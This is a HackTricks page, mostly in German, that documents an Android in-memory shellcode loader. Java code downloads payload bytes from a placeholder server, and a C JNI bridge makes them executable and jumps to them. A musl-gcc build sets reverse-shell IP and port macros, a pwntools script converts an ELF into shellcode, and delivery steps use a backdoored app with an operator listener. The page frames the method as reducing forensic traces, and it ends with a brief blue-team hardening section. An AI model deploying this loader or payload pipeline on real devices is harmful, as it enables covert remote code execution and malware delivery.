Android: In-Memory-Ausführung nativen Codes über JNI (shellcode)
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Diese Seite dokumentiert ein praktisches Muster, um native payloads vollständig im Speicher aus einem nicht vertrauenswürdigen Android-App-Prozess mithilfe von JNI auszuführen. Der Ablauf vermeidet das Erstellen einer nativen Binärdatei auf der Festplatte: lade rohe shellcode-Bytes über HTTP(S) herunter, übergib sie an eine JNI-Bridge, allokiere RX-Speicher und springe dorthin.
Warum es wichtig ist
- Verringert forensische Artefakte (kein ELF auf der Festplatte)
- Kompatibel mit „stage-2“ native payloads, die aus einer ELF-Exploit-Binärdatei erzeugt wurden
- Entspricht der tradecraft moderner Malware und red teams
Hochrangiges Muster
- Hole shellcode-Bytes in Java/Kotlin
- Rufe eine native Methode (JNI) mit dem Byte-Array auf
- In JNI: alloziere RW-Speicher → kopiere Bytes → mprotect zu RX → rufe entrypoint auf
Minimales Beispiel
Java/Kotlin-Seite
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
C JNI-Seite (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
Anmerkungen und Hinweise
- W^X/execmem: Modernes Android erzwingt W^X; anonyme PROT_EXEC-Mappings sind für App-Prozesse mit JIT in der Regel weiterhin erlaubt (abhängig von der SELinux-Policy). Einige Geräte/ROMs schränken dies ein; greife bei Bedarf auf JIT-allocated exec pools oder native bridges zurück.
- Architekturen: Stelle sicher, dass die shellcode-Architektur mit dem Gerät übereinstimmt (arm64-v8a häufig; x86 nur auf Emulatoren).
- Entrypunkt-Kontrakt: Entscheide eine Konvention für deinen shellcode-Einstieg (keine args vs. Strukturzeiger). Halte ihn positionsunabhängig (PIC).
- Stabilität: Instruktions-Cache vor dem Springen leeren; ein nicht übereinstimmender Cache kann auf ARM zum Absturz führen.
Packaging ELF → position‑independent shellcode Eine robuste Operator-Pipeline sieht folgendermaßen aus:
- Erstelle dein exploit als statisches ELF mit musl-gcc
- Wandle das ELF in ein selbstladendes shellcode-Blob um, indem du pwntools’ shellcraft.loader_append verwendest
Build
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
ELF in raw shellcode umwandeln (amd64-Beispiel)
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
Warum loader_append funktioniert: Es erzeugt einen winzigen Loader, der die eingebetteten ELF program segments im Speicher mappt und die Kontrolle an dessen entrypoint übergibt, wodurch du ein einzelnes raw blob erhältst, das memcpy’ed und von der App ausgeführt werden kann.
Delivery
- Host sc on an HTTP(S) server you control
- The backdoored/test app downloads sc and invokes the JNI bridge shown above
- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes
Validation workflow for kernel payloads
- Use a symbolized vmlinux for fast reversing/offset recovery
- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
Hardening/Detection (blue team)
- Verbiete anonymous PROT_EXEC in App-Domänen, wo möglich (SELinux policy)
- Setze strikte Code-Integrität durch (kein dynamisches native loading aus dem Netzwerk) und validiere Update-Kanäle
- Überwache verdächtige mmap/mprotect-Übergänge zu RX und große byte-array Kopien vor Sprüngen
References
- CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
- build.sh (musl-gcc + pwntools pipeline)
- exp2sc.py (pwntools shellcraft.loader_append)
- exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
- INSTRUCTIONS.md (setup notes)
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.